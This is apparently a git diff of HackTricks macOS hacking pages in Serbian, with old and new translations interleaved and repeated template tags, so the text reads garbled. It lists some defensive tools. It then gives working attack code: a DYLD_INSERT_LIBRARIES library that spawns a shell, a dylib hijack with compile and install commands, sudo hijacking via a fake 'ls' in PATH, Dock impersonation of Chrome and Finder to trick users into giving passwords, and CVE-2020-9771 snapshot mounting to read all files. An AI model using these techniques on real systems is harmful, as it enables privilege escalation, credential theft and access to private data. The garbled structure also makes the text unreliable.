Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Firewall-i
|
||||
## Firewalls
|
||||
|
||||
* [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): Pratiće svaku vezu koju uspostavi svaki proces. Zavisno od moda (tiho dozvoljava veze, tiho odbija veze i upozorenje) **prikazaće vam upozorenje** svaki put kada se uspostavi nova veza. Takođe ima veoma lep grafički interfejs za prikaz svih ovih informacija.
|
||||
* [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See firewall. Ovo je osnovni firewall koji će vas upozoriti na sumnjive veze (ima grafički interfejs, ali nije tako fancy kao kod Little Snitch-a).
|
||||
* [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): Pratiće svaku vezu koju uspostavi svaki proces. U zavisnosti od režima (tiho dozvoliti veze, tiho odbiti vezu i upozoriti) **pokazaće vam upozorenje** svaki put kada se uspostavi nova veza. Takođe ima veoma lepu GUI za pregled svih ovih informacija.
|
||||
* [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See vatrozid. Ovo je osnovni vatrozid koji će vas upozoriti na sumnjive veze (ima GUI, ali nije tako sofisticiran kao onaj kod Little Snitch).
|
||||
|
||||
## Detekcija perzistencije
|
||||
## Detekcija postojanosti
|
||||
|
||||
* [**KnockKnock**](https://objective-see.org/products/knockknock.html): Objective-See aplikacija koja će pretražiti nekoliko lokacija gde **malver može biti perzistentan** (to je alat koji se koristi samo jednom, nije monitoring servis).
|
||||
* [**BlockBlock**](https://objective-see.org/products/blockblock.html): Slično kao KnockKnock, prati procese koji generišu perzistenciju.
|
||||
* [**KnockKnock**](https://objective-see.org/products/knockknock.html): Objective-See aplikacija koja će pretraživati na nekoliko lokacija gde **malver može biti postojan** (to je alat za jednokratnu upotrebu, nije servis za praćenje).
|
||||
* [**BlockBlock**](https://objective-see.org/products/blockblock.html): Kao KnockKnock, prati procese koji generišu postojanost.
|
||||
|
||||
## Detekcija keyloggers-a
|
||||
## Detekcija keylogger-a
|
||||
|
||||
* [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See aplikacija za pronalaženje **keyloggers-a** koji instaliraju "event taps" tastature.
|
||||
|
||||
## Detekcija ransomware-a
|
||||
|
||||
* [**RansomWhere**](https://objective-see.org/products/ransomwhere.html): Objective-See aplikacija za detekciju akcija **enkripcije fajlova**.
|
||||
|
||||
## Detekcija mikrofona i web kamere
|
||||
|
||||
* [**OverSight**](https://objective-see.org/products/oversight.html): Objective-See aplikacija za detekciju **aplikacija koje koriste web kameru i mikrofon**.
|
||||
|
||||
## Detekcija procesnog ubacivanja
|
||||
|
||||
* [**Shield**](https://theevilbit.github.io/shield/): Aplikacija koja **detektuje različite tehnike procesnog ubacivanja**.
|
||||
* [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See aplikacija za pronalaženje **keylogger-a** koji instaliraju "event taps" za tastaturu.
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## DYLD\_INSERT\_LIBRARIES Osnovni primer
|
||||
|
||||
**Biblioteka za ubacivanje** radi izvršavanja shell-a:
|
||||
**Biblioteka za injekciju** za izvršavanje shelle:
|
||||
```c
|
||||
// gcc -dynamiclib -o inject.dylib inject.c
|
||||
|
||||
|
@ -34,7 +35,7 @@ execv("/bin/bash", 0);
|
|||
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
|
||||
}
|
||||
```
|
||||
Binarni fajl za napad:
|
||||
Binary za napad:
|
||||
```c
|
||||
// gcc hello.c -o hello
|
||||
#include <stdio.h>
|
||||
|
@ -45,11 +46,11 @@ printf("Hello, World!\n");
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
Ubacivanje:
|
||||
Injection:
|
||||
```bash
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
||||
```
|
||||
## Primer Dyld preuzimanja kontrole
|
||||
## Dyld Hijacking Example
|
||||
|
||||
Ciljani ranjivi binarni fajl je `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
|
||||
|
||||
|
@ -87,12 +88,11 @@ current version 1.0.0
|
|||
compatibility version 1.0.0
|
||||
# Check the versions
|
||||
```
|
||||
{% code %}
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
Sa prethodnim informacijama znamo da **ne proverava potpis učitanih biblioteka** i pokušava da učita biblioteku sa:
|
||||
Sa prethodnim informacijama znamo da **ne proverava potpis učitanih biblioteka** i da **pokušava da učita biblioteku iz**:
|
||||
|
||||
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
|
||||
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
|
||||
|
@ -105,7 +105,7 @@ pwd
|
|||
find ./ -name lib.dylib
|
||||
./Contents/Resources/lib2/lib.dylib
|
||||
```
|
||||
Dakle, moguće je preuzeti kontrolu nad tim! Kreirajte biblioteku koja **izvršava proizvoljni kod i izvozi iste funkcionalnosti** kao i legitimna biblioteka ponovnim izvozom. I ne zaboravite da je kompajlirate sa očekivanim verzijama:
|
||||
Dakle, moguće je preuzeti kontrolu! Kreirajte biblioteku koja **izvršava neki proizvoljni kod i izvozi iste funkcionalnosti** kao legitimna biblioteka ponovnim izvozom. I zapamtite da je kompajlirate sa očekivanim verzijama:
|
||||
|
||||
{% code title="lib.m" %}
|
||||
```objectivec
|
||||
|
@ -118,7 +118,7 @@ NSLog(@"[+] dylib hijacked in %s", argv[0]);
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Kompajlirajte ga:
|
||||
Sastavite to:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -127,7 +127,7 @@ gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Found
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Putanja reizvoza koju je stvorila biblioteka je relativna u odnosu na učitavač, promenimo je u apsolutnu putanju do biblioteke za izvoz:
|
||||
Putanja reeksporta kreirana u biblioteci je relativna prema učitavaču, hajde da je promenimo u apsolutnu putanju do biblioteke za izvoz:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -148,7 +148,7 @@ name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Con
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Na kraju samo kopirajte ga na **preuzetu lokaciju**:
|
||||
Na kraju, jednostavno ga kopirajte na **otetu lokaciju**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -156,33 +156,34 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
I **izvršite** binarnu datoteku i proverite da li je **biblioteka učitana**:
|
||||
I **izvršite** binarni fajl i proverite da li je **biblioteka učitana**:
|
||||
|
||||
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
||||
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
|
||||
</strong>Usage: [...]
|
||||
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib je otet u /Applications/VulnDyld.app/Contents/Resources/lib/binary
|
||||
</strong>Upotreba: [...]
|
||||
</code></pre>
|
||||
|
||||
{% hint style="info" %}
|
||||
Lepo objašnjenje o tome kako iskoristiti ovu ranjivost kako bi se zloupotrebila dozvola kamere u Telegramu može se naći na [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
|
||||
Lep članak o tome kako iskoristiti ovu ranjivost za zloupotrebu dozvola za kameru u telegramu može se naći na [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
|
||||
{% endhint %}
|
||||
|
||||
## Veći obim
|
||||
## Veća razmera
|
||||
|
||||
Ako planirate da pokušate da ubacite biblioteke u neočekivane binarne datoteke, možete proveriti poruke događaja da biste saznali kada je biblioteka učitana unutar procesa (u ovom slučaju uklonite printf i izvršavanje `/bin/bash`).
|
||||
Ako planirate da pokušate da injektujete biblioteke u neočekivane binarne fajlove, možete proveriti poruke događaja da biste saznali kada se biblioteka učitava unutar procesa (u ovom slučaju uklonite printf i izvršavanje `/bin/bash`).
|
||||
```bash
|
||||
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# macOS Eskalacija privilegija
|
||||
# macOS Privilege Escalation
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Eskalacija privilegija TCC-a
|
||||
## TCC Privilege Escalation
|
||||
|
||||
Ako ste ovde došli u potrazi za eskalacijom privilegija TCC-a, idite na:
|
||||
Ako ste došli ovde tražeći TCC eskalaciju privilegija, idite na:
|
||||
|
||||
{% content-ref url="macos-security-protections/macos-tcc/" %}
|
||||
[macos-tcc](macos-security-protections/macos-tcc/)
|
||||
|
@ -24,19 +25,19 @@ Ako ste ovde došli u potrazi za eskalacijom privilegija TCC-a, idite na:
|
|||
|
||||
## Linux Privesc
|
||||
|
||||
Imajte na umu da **većina trikova o eskalaciji privilegija koji utiču na Linux/Unix će takođe uticati na MacOS** mašine. Dakle, pogledajte:
|
||||
Imajte na umu da **većina trikova o eskalaciji privilegija koji utiču na Linux/Unix će takođe uticati na MacOS** mašine. Tako da pogledajte:
|
||||
|
||||
{% content-ref url="../../linux-hardening/privilege-escalation/" %}
|
||||
[privilege-escalation](../../linux-hardening/privilege-escalation/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Interakcija sa korisnikom
|
||||
## User Interaction
|
||||
|
||||
### Sudo preuzimanje kontrole
|
||||
### Sudo Hijacking
|
||||
|
||||
Originalnu tehniku **Sudo preuzimanja kontrole** možete pronaći u postu o eskalaciji privilegija u Linux-u](../../linux-hardening/privilege-escalation/#sudo-hijacking).
|
||||
Možete pronaći originalnu [Sudo Hijacking tehniku unutar posta o Linux eskalaciji privilegija](../../linux-hardening/privilege-escalation/#sudo-hijacking).
|
||||
|
||||
Međutim, macOS **zadržava** korisnikov **`PATH`** kada izvršava **`sudo`**. Što znači da još jedan način za izvršenje ovog napada može biti **preuzimanje kontrole nad drugim binarnim fajlovima** koje žrtva izvršava prilikom **pokretanja sudo-a:**
|
||||
Međutim, macOS **održava** korisnikov **`PATH`** kada izvršava **`sudo`**. Što znači da bi drugi način za postizanje ovog napada bio da se **otmu drugi binarni fajlovi** koje žrtva još uvek izvršava kada **pokreće sudo:**
|
||||
```bash
|
||||
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
|
||||
cat > /opt/homebrew/bin/ls <<EOF
|
||||
|
@ -51,17 +52,17 @@ chmod +x /opt/homebrew/bin/ls
|
|||
# victim
|
||||
sudo ls
|
||||
```
|
||||
Napomena da će korisnik koji koristi terminal vrlo verovatno imati **Homebrew instaliran**. Dakle, moguće je preuzeti kontrolu nad binarnim fajlovima u **`/opt/homebrew/bin`**.
|
||||
Napomena da korisnik koji koristi terminal verovatno ima **Homebrew instaliran**. Tako da je moguće preuzeti binarne datoteke u **`/opt/homebrew/bin`**.
|
||||
|
||||
### Prevara sa trakom
|
||||
### Imitacija Dock-a
|
||||
|
||||
Korišćenjem **socijalnog inženjeringa** možete se **predstaviti kao na primer Google Chrome** unutar trake i zapravo izvršiti svoj sopstveni skript:
|
||||
Korišćenjem nekih **socijalnih inženjeringa** mogli biste **imitirati na primer Google Chrome** unutar dock-a i zapravo izvršiti svoj skript:
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Prevara sa Chrome-om" %}
|
||||
{% tab title="Imitacija Chrome-a" %}
|
||||
Neki predlozi:
|
||||
|
||||
* Proverite u traci da li postoji Chrome, i u tom slučaju **uklonite** tu stavku i **dodajte** **lažnu** **stavku Chrome na isto mesto** u nizu trake. 
|
||||
* Proverite u Dock-u da li postoji Chrome, i u tom slučaju **uklonite** tu stavku i **dodajte** **lažnu** **Chrome stavku na istu poziciju** u Dock nizu. 
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
|
@ -133,14 +134,14 @@ killall Dock
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Imitacija Findera" %}
|
||||
{% tab title="Finder Impersonacija" %}
|
||||
Neki predlozi:
|
||||
|
||||
* Ne možete ukloniti Finder sa Dock-a, pa ako ga želite dodati na Dock, možete staviti lažni Finder odmah pored pravog. Za to trebate dodati unos za lažni Finder na početak niza Dock-a.
|
||||
* Druga opcija je da ga ne stavljate na Dock, već samo otvorite. "Finder koji traži kontrolu nad Finderom" nije toliko čudno.
|
||||
* Još jedna opcija za eskalaciju do root-a bez traženja lozinke sa groznim prozorom je da Finder stvarno zatraži lozinku radi izvršavanja privilegirane radnje:
|
||||
* Zamolite Finder da kopira novu datoteku **`sudo`** u **`/etc/pam.d`** (Poruka koja traži lozinku će pokazivati "Finder želi kopirati sudo")
|
||||
* Zamolite Finder da kopira novi **Authorization Plugin** (Možete kontrolisati ime datoteke tako da poruka koja traži lozinku pokazuje "Finder želi kopirati Finder.bundle")
|
||||
* Ne **možete ukloniti Finder iz Dock-a**, pa ako planirate da ga dodate u Dock, možete staviti lažni Finder odmah pored pravog. Za to treba da **dodate lažni Finder unos na početak Dock niza**.
|
||||
* Druga opcija je da ga ne stavljate u Dock i samo ga otvorite, "Finder traži da kontroliše Finder" nije tako čudno.
|
||||
* Još jedna opcija za **eskalaciju na root bez traženja** lozinke sa užasnom porukom, je da naterate Findera da stvarno traži lozinku za obavljanje privilegovane akcije:
|
||||
* Zatražite od Findera da kopira u **`/etc/pam.d`** novu **`sudo`** datoteku (Poruka koja traži lozinku će ukazati da "Finder želi da kopira sudo")
|
||||
* Zatražite od Findera da kopira novi **Authorization Plugin** (Možete kontrolisati ime datoteke tako da poruka koja traži lozinku ukazuje da "Finder želi da kopira Finder.bundle")
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
|
@ -213,12 +214,12 @@ killall Dock
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
## TCC - Eskalacija privilegija za Root korisnika
|
||||
## TCC - Eskalacija privilegija za root
|
||||
|
||||
### CVE-2020-9771 - mount\_apfs TCC zaobilaženje i eskalacija privilegija
|
||||
|
||||
**Bilo koji korisnik** (čak i oni bez privilegija) može kreirati i montirati snimak vremenske mašine i **pristupiti SVIM datotekama** tog snimka.\
|
||||
Jedina privilegija koja je potrebna je da aplikacija koja se koristi (kao što je `Terminal`) ima **Pristup celom disku** (Full Disk Access - FDA) (`kTCCServiceSystemPolicyAllfiles`), koju mora odobriti administrator.
|
||||
**Bilo koji korisnik** (čak i oni bez privilegija) može kreirati i montirati snapshot vremenske mašine i **pristupiti SVIM datotekama** tog snapshot-a.\
|
||||
**Jedina privilegija** koja je potrebna je da aplikacija koja se koristi (kao što je `Terminal`) ima **Pristup celom disku** (FDA) (`kTCCServiceSystemPolicyAllfiles`) koji mora odobriti administrator.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -242,7 +243,7 @@ ls /tmp/snap/Users/admin_user # This will work
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Detaljnije objašnjenje možete **pronaći u originalnom izveštaju**.
|
||||
Detaljnije objašnjenje može se [**pronaći u originalnom izveštaju**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.**
|
||||
|
||||
## Osetljive informacije
|
||||
|
||||
|
@ -252,16 +253,17 @@ Ovo može biti korisno za eskalaciju privilegija:
|
|||
[macos-sensitive-locations.md](macos-files-folders-and-binaries/macos-sensitive-locations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podrška HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju oglašenu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
# macOS Mrežne usluge i protokoli
|
||||
# macOS Mrežne Usluge i Protokoli
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
